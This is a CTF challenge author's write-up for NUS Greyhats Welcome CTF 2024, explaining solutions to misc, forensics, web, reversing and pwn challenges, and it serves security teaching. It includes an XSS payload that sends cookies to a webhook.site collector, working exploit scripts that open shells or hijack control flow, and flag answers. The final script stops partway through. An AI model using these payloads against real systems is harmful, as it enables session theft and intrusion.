NUS Greyhats Welcome CTF 2024
Welcome CTF is an annual CTF organized by NUS Greyhats. This beginner-friendly CTF is targetted at NUS Students who are keen in exploring the world of cybersecurity.
This CTF consists of challenges that caters to absolute beginners, whilst also having a few difficult questions to challenge the more experienced competitors.
These are writeups on some of the challenges I wrote for Welcome CTF!
Misc - Notefactory
Learning objective: Pwntools scripting :D
Upon connecting to the challenge, we are introduced with an interactive game.
We have to press the keys h
j
k
or l
depending on the prompt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ stty -icanon -echo ; python3 challenge.py ; stty sane
instructions:
hit the keys h j k or l in order of the appearing note
the order of the notes to hit are: | h | j | k | l |
in order to win, you have to hit 1000 keys in 10 seconds
press enter to begin
3...
2...
1...
GO!
| | | | X |
| | | X | |
| X | | | |
| | X | | |
| | X | | |
...
This challenge primarily forces participants to learn to script a remote TCP connection with a service.
We can write a simple script with pwntools
to solve this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote("localhost", 32111)
p.sendline()
p.recvuntil(b"GO!\n\n")
keys = list(b"hjkl")
for i in range(1000):
p.send(chr(keys[[x.strip() for x in p.recvline().split(b"|")[1:-1]].index(b"X")]).encode())
p.interactive()
Forensics - Filefactory
Learning objective: Identification of file types :D
We are given a file file.pdf
. If we try to identify the file type using the file
command, we see that it is a zip file.
1
2
❯ file flag.pdf
flag.pdf: Zip archive data, at least v2.0 to extract, compression method=deflate
As you can see, file extensions can be faked and misleading.
We can then proceed to unzip this file to obtain flag.png
1
2
3
4
5
6
❯ unzip flag.zip
Archive: flag.zip
inflating: flag.png
❯ file flag.png
flag.png: data
This time round, file
is unable to identify the filetype of flag.png
.
We can investigate this by opening flag.png
in a hex-editor such as https://hexed.it/.
All files are fundamentally made up of a bunch of bytes, and we can inspect these bytes to find out about the file.
By throwing the image in a hexeditor, we can see that it starts with the words JESS
.
The subsequent words (circled in green) suggests that we are looking at a PNG file.
The first eight bytes of a PNG file always contain the following (decimal) values:
137 80 78 71 13 10 26 10
This signature indicates that the remainder of the file contains a single PNG image, consisting of a series of chunks beginning with an IHDR chunk and ending with an IEND chunk.
If we search up png file signature bytes
, we can find that a PNG file should start with 89 50 4E 47
.
We can fix it with the hex editor, and we will finally be able to open the flag.png file to get our flag.
Files are typically identified by the starting few bytes of the file (aka the magic bytes).
We can find file signatures for multiple files here.
Web - aimfactory
Learning objective: Client Side validation :D
This is an “aimlabs” style game where you have to click on 1000 targets in 10 seconds.
This is obviously impossible, but if we inspect element and look at the code, we note that the score is computed and sent on the client side.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
target.addEventListener("click", function() {
score += 1; // increment score
document.getElementById("score").innerText = String(score).padStart(2, '0');
moveTarget();
});
function startGame() {
score = 0; // score init
timeLeft = 10;
document.getElementById("score").innerText = String(score).padStart(2, '0');
document.getElementById("timer").innerText = String(timeLeft).padStart(2, '0');
target.style.display = "block";
startButton.disabled = true;
stopButton.disabled = false;
timerInterval = setInterval(function() {
timeLeft--;
document.getElementById("timer").innerText = String(timeLeft).padStart(2, '0');
if (timeLeft <= 0) {
clearInterval(timerInterval);
stopGame();
submitScore(); // submit score
}
}, 1000);
moveTarget();
}
We can simply Inspect Element
> Console
and input score = 1000
.
This will change the score and submit the modified score to give us the flag.
Web - Submit your Homework
Learning objective: Cross Site Scripting (XSS) :D
Challenge description: … it seems like my submission is stored as pure HTML and the professor opens it almost immediately?
The source code, as well as the challenge description, hints that the website stores our homework submission as pure HTML, and it is viewed by the professor.
This is a vulnerability (Cross Site Scripting, XSS) whereby we are able to store some javascript code (via html <script> tags) on the website, such that it will execute and do malicious stuff when opened by another person.
We also note that our authentication state is saved in a JWT token cookie, as shown in the image below.
auth cookies are what allows a website to identify and authenticate you into a website everytime you reload/reopen it.
By using XSS, we can make the admin query a website of our own with his auth token in the website query. This is known as a cookie stealing reflected XSS attack.
We will use webhook.site to host our web request bin, so that we can view any incoming web requests.
When we submit this as our homework,
1
2
<script>fetch("https://webhook.site/bad274ef-3c94-4dd3-801c-4b723618f12d/?cookie=" + document.cookie);</script>
<!-- document.cookie is a builtin browser javascript function that returns all the cookies -->
We see two incoming requests – one from ourself, since our own browser also runs the javascript code and the other one is from the admin.
By replacing our auth_token
cookie with that of the admin, we are authenticated as the admin and we will see the flag!
Rev - Simple Windows Flag Checker
Learning objective: Strings :D
1
2
❯ strings program.exe | grep grey
grey{str1ngs_t3lls_y0u_4l0t_4b0ut_pr0grams}
Rev - Simple Linux Flag Checker
Learning objective: Decompilers :D
Rev - Flag Roulette
Learning objective: Debugging :D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int main()
{
unsigned int v3; // eax
__int64 v5; // [rsp+8h] [rbp-8h]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
deobfuscate_flag();
v3 = time(0LL);
srand(v3);
v5 = (__int64)rand() << 32;
v6 = rand() + v5;
puts("Let's play a game. If you hit the lucky number 7777777777777777, you get the flag!");
puts("If not, I will still reward you with part of the flag :)\n");
if ( v6 == 0x7777777777777777LL )
printf("JACKPOT! Here's the flag: %s!\n", flag);
else
printf("You hit the number %lx, heres %d characters of the flag: %.*s!\n", v6, v6 % 6, v6 % 6, flag); // print (v6 % 6) characters of the flag
return 0;
}
By decompiling the program in IDA, we can see that the flag is decrypted, and the program prints the first 0 to 5 characters of the flag randomly.
We can simply run this in a debugger such as GDB
and view the flag. We would want to set a breakpoint on Line 17 at the printf
function.
In IDA, we can click on that line and press TAB to view the address of the call printf
instruction.
In GDB, we can set a breakpoint at offset 0x1313 using starti ; breakrva 0x1313
and view the flag in memory.
Rev - Weird Brainrotted APK
Learning objective: Intro to reversing android programs
We are given an APK file. We can decompile this using JADX.
Typically, with abit of inference, we are able to identify the user code by ignoring the library code.
We can look at the decompiled Rizz
class.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Rizz {
private static String IV = "W644i2IVQjBBeth9";
private static String KEY_STRING = "zsfuxwCqcUOfaXNhHxYvJfPIOEoPMiyL";
private static String RIZZ = "D7NQV/ledSLBd0zF11CPuPAz8y6D8kt/rQ4j5vNOWhFrlwjMsb40Hg4pEhoeVf3s";
static {
}
public static boolean do_you_have_rizz(String s) {
return Rizz.encrypt(s).equals("D7NQV/ledSLBd0zF11CPuPAz8y6D8kt/rQ4j5vNOWhFrlwjMsb40Hg4pEhoeVf3s");
}
public static String encrypt(String s) {
try {
byte[] arr_b = s.getBytes(StandardCharsets.UTF_8);
Cipher cipher0 = Cipher.getInstance("AES/CBC/PKCS7Padding");
cipher0.init(1, new SecretKeySpec("zsfuxwCqcUOfaXNhHxYvJfPIOEoPMiyL".getBytes(), "AES"), new IvParameterSpec("W644i2IVQjBBeth9".getBytes()));
return Base64.encodeToString(cipher0.doFinal(arr_b), 2);
}
catch(NoSuchAlgorithmException | IllegalBlockSizeException | NoSuchPaddingException | BadPaddingException | InvalidKeyException | InvalidAlgorithmParameterException exception0) {
throw new RuntimeException(exception0);
}
}
}
This program takes in an input string, and puts it through do_you_have_rizz(input)
.
It encrypts your input and then checks against the encrypted flag. The AES key and IV is hardcoded into the program.
We can simply extract the encrypted flag and decrypt it using cyberchef.
Rev - Is this really python?.
Learning objective: Learning about compiled python programs and deobfuscating complicated list comprehensions
We are provided with a linux program that prompts us for a password and checks it.
1
2
3
4
5
❯ file challenge.py
challenge.py: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=04804d3c31218f938502cbed5cdd1af09d59a8f0, for GNU/Linux 2.6.32, stripped
❯ ./challenge.py
flag? asd
wrong
If we try to decompile it or look through the strings, we find these strings
1
2
3
4
5
❯ strings challenge.py
...
Could not load PyInstaller's embedded PKG archive from the executable (%s)
Could not side-load PyInstaller's PKG archive from external file (%s)
...
This hints that the program is compiled using something called a PyInstaller.
We can use pyinstxtractor to extract the contents of this PyInstaller generated executable file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 pyinstxtractor.py challenge.py
[+] Processing challenge.py
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 10745345 bytes
[+] Found 42 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: challenge.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: challenge.py
You can now use a python decompiler on the pyc files within the extracted directory
We have to further use uncompyle6 to decompile the python compiled (.pyc) file to read the python code.
1
2
3
4
5
6
7
8
9
10
11
❯ uncompyle6 challenge.pyc
# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.12 (main, Jul 29 2024, 16:56:48) [GCC 11.4.0]
# Embedded file name: challenge.py
z = input("flag? ")
j = 0
print("correct" if "".join([str(i - j) + "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[j] if i == sum([1 for i in "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])]) else (str(i - j) + "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[j], (j := i))[0] if "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[i] != "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])[j] else "" for i in range(sum([1 for i in "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])]) + 1)]) == "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617" else "wrong")
# global j ## Warning: Unused global
# okay decompiling challenge.pyc
We finally have the source code of the program. It is slightly complicated, but we can simplify it.
- We notice that
"".join([str(x ^ y) for x, y in enumerate(map(ord, z))])
is highly repetitive, we can put it in a separate variable and replace it. - Notice that
sum([1 for i in enc])
is justlen(enc)
1
2
3
4
z = input("flag? ")
j = 0
enc = "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])
print("correct" if "".join([str(i - j) + enc[j] if i == len(enc) else (str(i - j) + enc[j], (j := i))[0] if enc[i] != enc[j] else "" for i in range(sum([1 for i in enc]) + 1)]) == "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617" else "wrong")
Finally, we can spend some time to refactor the python code to get something like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
z = input("flag? ")
j = 0
input_enc = ""
enc = "".join([str(x ^ y) for x, y in enumerate(map(ord, z))])
for i in range(sum([1 for i in enc]) + 1):
if i == len(enc):
input_enc += str(i - j) + enc[j]
elif enc[i] != enc[j]:
j = i
input_enc += str(i - j) + enc[j]
if input_enc == "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617":
print("correct")
else:
print("wrong")
This program essentially does the following
- XOR each ASCII value of the input with its corresponding index
- Convert the XOR result into string and concatenate all the strings together
- Count the number of duplicate characters, save the number of times a character is repeated followed by the character itself.
We can then decrypt the flag as such
1
2
3
4
x = "11101321151110131122111217111028192112112211101211121621101813111221101211101229171821151110131715131621191122172112102116111217161721261521191615182721121417141714111211171817161716171521161911161917294128111019181916151710261110141911181618151810181918191617":
print("".join([(int(x[i]) * x[i+1]) for i in range(0, len(x), 2)])) # manually split up the string to get the array of XORed characters
print("".join([chr(i ^ j) for (i, j) in enumerate([103,115,103,122,127,108,89,112,122,102,126,110,83,121,102,102,99,78,115,103,75,36,119,122,71,120,116,127,67,116,65,119,65,87,71,124,74,74,121,78,76,76,75,116,91,69,79,91,111,88,109,89,65,70,66,104,91,86,85,80,89,89,67])])) # flag!
Rev - random secure or secure random?
Learning objective: Psuedo-random Number Generator is not secure :D
1
2
3
4
5
6
7
8
9
10
11
int main() {
srand(time(NULL));
// ...
printf("here's your encrypted flag: ");
for (int i = 0; i < blocks; i++) {
((int*)flag)[i] ^= rand(); // XOR flag with rand()
for (int j = 0; j < 4; j++) {
printf("%02hhx", ((char*)&(((int*)flag)[i]))[j]); // print encrypted flag in hex
}
}
}
The core of this program simply sets the current time as the random seed, and XORs the flag with the randomly generated values.
We can simply re-generate the same rand()
values since we know the seed which is the current time at which we run the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from math import ceil
from pwn import *
import ctypes
# set our seed as the current time
lib = ctypes.CDLL("libc.so.6")
lib.srand(lib.time(0))
# get encrypted flag from service
p = process("./challenge")
p.recvuntil(b"flag: ")
enc = bytes.fromhex(p.recvline().strip().decode())
p.close()
# slice the flag into groups of 4
enc = [enc[i:i+4] for i in range(0, len(enc), 4)]
# decrypt the flag by XORing with libc rand()
for i in range(len(enc)):
enc[i] = xor(enc[i], lib.rand().to_bytes(4, 'little'))
print(b"".join(enc).decode())
Rev - Satisfiability
Learning objective: Solving complicated equations with a SMT solver :D
In order to solve this challenge, we have to satisfy this equations of 60 unknown chracters.
1
2
3
4
5
6
7
((long)(flag[45] - flag[47] + flag[42] - flag[41] + flag[29] )== 154) &&
((long)(flag[28] - flag[54] - flag[53] * flag[59] * flag[5] )== -1378125) &&
((long)(flag[37] + flag[17] * flag[11] - flag[30] + flag[38] )== 10553) &&
// truncated 65 equations
((long)(flag[38] * flag[11] + flag[40] - flag[10] + flag[53] )== 11112) &&
((long)(flag[39] - flag[15] + flag[28] - flag[25] + flag[1] )== 141) &&
((long)(flag[56] * flag[31] + flag[9] - flag[8] + flag[44] )== 12245)
We can paste all of this into cvc5
/z3
solver to get the flag! (this is also hinted in the description)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import *
eqns = """flag[45] - flag[47] + flag[42] - flag[41] + flag[29] == 154
flag[28] - flag[54] - flag[53] * flag[59] * flag[5] == -1378125
flag[37] + flag[17] * flag[11] - flag[30] + flag[38] == 10553
# truncated 65 equations
flag[38] * flag[11] + flag[40] - flag[10] + flag[53] == 11112
flag[39] - flag[15] + flag[28] - flag[25] + flag[1] == 141
flag[56] * flag[31] + flag[9] - flag[8] + flag[44] == 12245""".split("\n")
s = Solver()
flag = [BitVec(f"f{i}", 8) for i in range(60)]
for eqn in eqns:
s.add(eval(eqn))
print(s.check())
m = s.model()
print("".join([chr(m[i].as_long()) for i in flag]))
Pwn - Stack BOF School
Learning objective: Understand what a Buffer Overflow looks like :D
This is a fully interactive tutorial on how to do a buffer overflow to ret2win.
Simply follow the instructions to overwrite the return addrses with the win
function.
Pwn - Epic Boss Fight
Learning objective: Understand an Integer Overflow :D
This program features a simple boss fight.
If you try to attack, you deal 1 damage and lose 10 health.
1
2
3
4
5
6
7
8
9
10
11
----------- Boss Fight -------------
Boss HP: 10000/10000
Player HP: 100/100
------------------------------------
1. Attack (1 damage)
2. Defend
3. Escape
> 1
You deal 1 damage to the boss.
The boss deals 10 damage to you.
Press Enter to continue.
If you defend, the boss heal by 1000 hp.
1
2
3
4
5
6
7
8
9
10
11
----------- Boss Fight -------------
Boss HP: 9999/10000
Player HP: 90/100
------------------------------------
1. Attack (1 damage)
2. Defend
3. Escape
> 2
You defended against the boss's attack.
In the meantime, the boss healed 1000 hp.
The boss now has 10999 hp!
We clearly cannot defeat the boss by attacking.
However if we look at the source code, the boss health is defined as short int boss_hp = 10000;
A short int
is a signed 2-byte integer. In order to understand the exploit, we have to understand how a 2-byte integer is represented.
hex representation | bit representation | short int value |
---|---|---|
00 00 | 00000000 00000000 | 0 |
00 01 | 00000000 00000001 | 1 |
… | … | … |
7f fe | 01111111 11111110 | 32766 |
7f ff | 01111111 11111111 | 32767 |
80 00 | 10000000 00000000 | -32768 |
80 01 | 10000000 00000001 | -32767 |
80 02 | 10000000 00000010 | -32766 |
As you can see, as you increment the number, it eventually overflows to a negative integer.
There is no concept of
negative
integers in bits and bytes.As such, we split the entire integer space into half, and allocate the upper half to negative integer.
In another words, negative integers are simply large positive integers / stored in 2s complement.
If we keep defending and letting the boss heal, its health eventually goes into the negatives.
1
2
3
4
5
6
7
8
9
10
11
12
13
----------- Boss Fight -------------
Boss HP: 32000/10000
Player HP: 100/100
------------------------------------
1. Attack (1 damage)
2. Defend
3. Escape
> 2
You defended against the boss's attack.
In the meantime, the boss healed 1000 hp.
The boss now has -32536 hp!
The boss left you a message as it dies: grey{TEST_FLAG}
Pwn - cowsaymoo
Learning objective: Understand how to use a Buffer Overflow to overwrite a variable :D
We are presented with a buffer overflow in the name
variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main() {
char command[80];
char name[80];
strcpy(command, "cowsay ");
printf("your name: ");
gets(name); // buffer overflow
putchar(0xa);
if (strchr(name, '\'')) // remove all single quotes
*strchr(name, '\'') = 0;
snprintf(command + 7, 80-7, "'hello %s!'", name);
system(command);
}
The stack layout is as such:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌───────────────┐
│ │
│ │
│ name[80] │
│ │
│ │
┼───────────────┤
│ │
│ │
│ command[80] │
│ │
│ │
└───────────────┘
By writing 80 characters to fill the name
buffer, whatever we add subsequently will overflow into the command
buffer to be executed.
As such we can send 80 “A” followed by “sh” to run the system("sh")
and give us a shell.
1
2
3
4
5
6
7
from pwn import *
p = process("./challenge")
p.sendline(b"A"*80 + b"sh")
p.interactive()
Pwn - r/WholesomeCopypasta
Learning objective: Understand what is Return Oriented Programming :D
We are given a program with the following source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
char* copypastas[] = {"mc_chicken.txt", "chameleon.txt", "bob.txt", "flag.txt"};
void print_file_contents(char* file_name) {
FILE *f = fopen(file_name, "r");
// exit if file does not exist
if (f == NULL) {
perror("file does not exist");
exit(0);
}
printf("copypasta contents:\n%s", buf);
}
int main() {
char filename[100]; // filename has 100 bytes
printf("input copypasta to read: ");
size_t end = read(0, filename, 0x100); // input takes in 0x100 == 256 bytes, BUFFER OVERFLOW!!
if (filename[end-1] = '\n') // convert newline to null byte
filename[end-1] = 0;
if (strstr(filename, "flag") || strchr(filename, '/') || strchr(filename, '\\')) { // blacklist
puts("this copypasta is premium!");
exit(0);
}
print_file_contents(filename);
}
This program prints the contents of a few files, as shown in the copypastas
variable available.
The flag.txt
string is also in the copypasta, however we are not able to print the contents of flag via any normal means due to the blacklist.
Furthermore, print_file_contents
function exits when the provided file is not working.
We can solve this challenge by calling print_flag_contents("flag.txt")
. We can do this by constructing a ROP chain when we do a buffer overflow.
Our first argument is contained within the RDI
register, which can be set via the pop rdi; ret
gadget.
1
2
❯ ROPgadget --binary distribution/challenge | grep "pop rdi"
0x0000000000400c13 : pop rdi ; ret
The address of flag can be shown by printing the copypasta array in GDB.
1
2
3
4
5
pwndbg> tele ©pastas 4
00:0000│ 0x6020c0 (copypastas) —▸ 0x400c34 ◂— insd dword ptr [rdi], dx /* 'mc_chicken.txt' */
01:0008│ 0x6020c8 (copypastas+8) —▸ 0x400c43 ◂— 'chameleon.txt'
02:0010│ 0x6020d0 (copypastas+16) —▸ 0x400c51 ◂— 0x7478742e626f62 /* 'bob.txt' */
03:0018│ 0x6020d8 (copypastas+24) —▸ 0x400c59 ◂— insb byte ptr [rdi], dx /* 'flag.txt' */
Finally, we can construct our solve script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.binary = elf = ELF("./challenge")
p = process("./challenge");
# prepare ROP chain to print flag
rop = ROP(elf)
rop.call(rop.ret) # fix stack alignment
rop.print_file_contents(0x400c59)
payload = b"bob.txt\x00" # provide valid file so that program does not exit
payload += b"A"*(0x88-len(payload))
payload += rop.chain()
p.sendline(payload)
p.interactive();
Pwn - The Trial Author
Learning objective: strcpy allows you to overwrite return address with one_gadget
:D
We are given a program with the following source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#define BOOK_NAME_SIZE 0x6
#define PAGE_SIZE 0x100
void vuln() {
char book_name[BOOK_NAME_SIZE] = {0};
char page_to_print[PAGE_SIZE] = {0};
unsigned int num_pages;
puts("if you write me a good book, i might print it for you");
printf("book name (%u characters): ", BOOK_NAME_SIZE-1);
size_t sz = read(0, book_name, BOOK_NAME_SIZE-1);
if (book_name[sz-1] == '\n')
book_name[sz-1] = 0;
printf("how many pages (max %u): ", 10);
scanf("%u", &num_pages);
getchar();
if (num_pages > 10) {
puts("That is too many pages for this book!");
return;
}
if (num_pages == 0) {
puts("You have to write at least one page :/");
return;
}
printf("\nyour book '");
printf(book_name); // FORMAT STRING VULNERABILITY!
printf("' will have %u pages. write the book!\n", num_pages);
char** pages = calloc(num_pages, sizeof(char*));
char* book = calloc(num_pages * PAGE_SIZE, sizeof(char));
for (int i = 0; i < num_pages; i++) {
pages[i] = &book[i * PAGE_SIZE];
printf("Page %u > ", i);
read(0, pages[i], PAGE_SIZE);
if (pages[i][sz-1] == '\n')
pages[i][sz-1] = 0;
}
unsigned int chosen_page;
printf("\nyour book is decent. pick a page and i will print it for you (0 - %u): ", num_pages-1);
scanf("%u", &chosen_page);
getchar();
if (chosen_page >= num_pages) {
puts("Invalid page!");
return;
}
strcpy(page_to_print, pages[chosen_page]); // BUFFER OVERFLOW
printf("\nheres your page:\n%s\n", page_to_print);
}
This program is slightly lengthy, so I will summarize it in a few points
- Takes in name of book (input) of 6 characters
- Takes in number of pages
- Allocate memory for all the pages (in a contiguous buffer)
- Allocate memory for pointer to each and every page (note that these pages are adjacent to each other in memory!)
printf
the name of the book (format string vulnerability)- A single page is chosen and copied to the stack via
strcpy
(buffer overflow).
The important thing to note here is point 6.
There is a buffer overflow because the pages are adjacent in memory, and if we fill each page such that it is not terminated with a null-byte, we will copy more than one page worth of contents into page_to_print
which is a stack buffer allocated with a sigle page size.
This allows us to overflow and overwrite the return address on the stack.
HOWEVER, strcpy only copies up to the first null terminator in the buffer.
Since packed addresses in little endian contains null-bytes, we can only overflow the return address with a single address of our choice but we cannot fit a whole ROP chain on the stack.
We can use a one_gadget, which is a single gadget that pops a shell under certain conditions, to overwrite the return address and get a shell!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.binary = elf = ELF("./challenge")
libc = elf.libc
# obtain via -- one_gadget -r ./lib/libc.so.6
gadgets = [324254,324261,324354,1090300]
p = process("./challenge")
# leak libc address
p.sendlineafter(b"characters): ", b"%2$p")
p.sendlineafter(b"10): ", b"2")
p.recvuntil(b"book '")
libc.address = int(p.recvuntil(b"'", drop=True), 16) - 4118720
print(hex(libc.address))
# overwrite return address with one_gadget
payload = b"A"*0x138
payload += p64(libc.address + gadgets[0])
p.sendline(payload)
p.sendlineafter(b"1): ", b"0")
p.interactive()
Pwn - dreamfactory
Learning objective: Understand how the heap works, heap re-use :D
The source code is super long, I’ve attached it here if you’d like to take a look.
Anyways, I’ll summarize the functionality of the program in point form.
- Dreaming
- Add a Dream
- Allocates an array of function pointers on the heap
- Start Dreaming
- Executes the function pointers and free the entire array
- Add a Dream
- Notes
- Take a note
- Allocate a buffer of variable size to contain note contents
- Print note
- Print contents of note
- Delete note
- Free note buffer
- Take a note
The vulnerability in this program is that the memory is not cleared after allocation.
The understanding in order to exploit this program is how heap memory is reused and not cleared by default.
When a memory contains some data and is freed, the memory is ‘freed’ but the data is not cleared.
Only the first 16-bytes is overwritten to contain some metadata.
The next time you allocate a memory of the same size, it will reallocate that buffer containing 16 bytes of metadata junk followed by the data that was there before.
Attack 1 – leaking function addresses
- Add 4 dreams – this will allocate
8 * 4 = 32
bytes of heap memory - Start dreaming – this will return the 32 bytes of heap memory to the allocator
- Take a note of 32 bytes – this will reuse the 32 bytes of heap memory that was returned before
- Add 16
A
s to the note, this will fill up the metadata. - Print the note, this will print the 16
A
s followed by the function pointers that are immediately after it.
In this way, we have leaked function addresses and bypassed address randomized (PIE/ASLR).
Attach 2 – calling our own function addresses
- Take a note of 32 bytes – this will allocate 32 bytes of heap memory.
- Add 16
A
s to the note, followed by a function address of our liking. - Delete the note – this will return the 32 bytes of heap memory to the allocator
- Alloacte space for 4 dreams, but only fill the first 2 slots in the dream array.
- The third slot of the dream array currently contains the function address we wrote in step 2.
- Start dreaming, this will execute our first 2 dreams, followed by our desired function address.
Scripting the Exploit
Now, we just have to write the script to call the dream_about_flag_real
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.binary = elf = ELF("./challenge")
p = process("./challenge")
# step 1: leak ELF address
# step 1a: we leave some function pointer addresses on the heap
p.sendlineafter(b"> ", b"2") # dream!
p.sendlineafter(b"> ", b"1") # add a dream
p.sendlineafter(b"have? ", b"4") # 4 dreams
p.sendlineafter(b"> ", b"1") # dream about valorant
for i in range(3):
p.sendlineafter(b"> ", b"1") # add a dream
p.sendlineafter(b"> ", b"1") # dream about valorant
p.sendlineafter(b"> ", b"2") # start dreaming
# step 1b: we leak the function pointer address from the heap
p.sendlineafter(b"> ", b"3") # go back
p.sendlineafter(b"> ", b"1") # listen to class
p.sendlineafter(b"> ", b"1") # take down a note
p.sendlineafter(b"size: ", str(8*4).encode()) # note size: 8*4 = 32 bytes
p.sendafter(b"content: ", b"A"*16) # take down a note
p.sendlineafter(b"> ", b"3") # read a note
p.sendlineafter(b"read: ", b"0") # read a note
win = unpack(p.recvline()[25:-1], "all") + elf.sym.dream_about_flag_real - elf.sym.dream_about_valorant
# step 2: we place the win function address on the heap and trick the program to executing it
# step 2a: we place the win function address on the heap via a note
p.sendlineafter(b"> ", b"1") # take down a note
p.sendlineafter(b"size: ", str(8*4).encode()) # note size
p.sendafter(b"content: ", b"x"*24 + p64(win)) # note content
p.sendlineafter(b"> ", b"2") # delete note
p.sendlineafter(b"remove: ", b"1") # index of note
p.sendlineafter(b"> ", b"4") # delete note
# step 2b: we execute the function
p.sendlineafter(b"> ", b"2") # dream!
p.sendlineafter(b"> ", b"1") # add a dream
p.sendlineafter(b"have? ", b"4") # 4 dreams
p.sendlineafter(b"> ", b"1") # dream about valorant
for i in range(2):
p.sendlineafter(b"> ", b"1") # add a dream
p.sendlineafter(b"> ", b"1") # dream about valorant
p.sendlineafter(b"> ", b"2") # start dreaming
p.interactive()
Pwn - re:life
Learning objective: Abuse execve to do a BSS to heap overflow :D
The main crux of this challenge revolves around this.
This challenge is targetted at smurfs for this beginner CTF, and I think this challenge did a good job keeping the smurfs busy :)
Step 1: BSS to Heap Overflow
Essentially, there is a integer overflow in time_skip
function that gives us an overflow in the BSS region.
Typically, an overflow in the BSS region would be useless because it does not overflow into anything.
However, there is a 1 in 0x2000 chance where the BSS and heap will be adjacent, allowing us to overflow into the heap.
This challenge allows us to brute-force for this by re-running the program via execve
and leaking the address by doing a UAF read on the players lastName
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while True:
p.sendlineafter(b"Action: ", b"8") # next life : execve to re-run program
p.sendlineafter(b"Action: ", b"5") # adopt kid
p.sendlineafter(b"Action: ", b"6") # disown kid : free lastName, but leaves a dangling pointer
p.sendlineafter(b"Action: ", b"1") # read the dangling pointer to get heap leak
p.recvuntil(b"Name: ")
try:
leak = unpack(p.recvline().split()[1], "all")
except:
continue
i += 1
stat.status(f"{i} {hex(leak)}")
if leak == 0x405: # check if heap leak is adjacent to BSS
break
Step 2: Heap Overflow to RCE
What can we do with a heap overflow?
With some research, we can find out that there is actually a heap chunk that is already allocated in the heap, the tcache_perthread_struct
which stores the state of the tcache for each running thread.
By overflowing into this struct, we can control the tcache free list to gain arbitrary allocation.
- Arbitrary allocation into global
struct profile life
variable to overwriteyourName
to point to GOT entry - Show life stats to print
yourName
and leak libc address - Repeat steps 1 and 2, to leak
environ
or a stack address fromTLS
- Repeat steps 1 and 2, to allocate a ROP chain to the stack to get RCE.
This is the rough overview of the exploit, the detailed exploit path shall be left as homework for the reader.
Solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.binary = elf = ELF("./service/chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args.REMOTE:
p = remote("challs.nusgreyhats.org", 32834)
else:
p = process("./service/chall", aslr=True)
stat = log.progress("enum")
i = 0
while True:
p.sendlineafter(b"Action: ", b"8")
p.sendlineafter(b"Action: ", b"5")
p.sendlineafter(b"Action: ", b"6")
p.sendlineafter(b"Action: ", b"1")
p.recvuntil(b"Name: ")
try:
leak = unpack(p.recvline().split()[1], "all")
except:
continue
i += 1
stat.status(f"{i} {hex(leak)}")
if leak == 0x405:
break
stat.success(f"beap found after {i} tries")
p.sendlineafter(b"Action: ", b"2")
p.sendlineafter(b"> ", str(2**31).encode()) # prepare for buffer overflow
payload = b"A"*0xe80
payload += p64(0x0) + p64(0x291)
payload += p16(0x0)*15
payload += p16(0x1)
payload += p16(0x0)*48
payload += p64(0x0)*15
payload += p64(0x404100)
p.sendlineafter(b"Action: ", b"7")
p.sendafter(b"reflection?\n", payload)
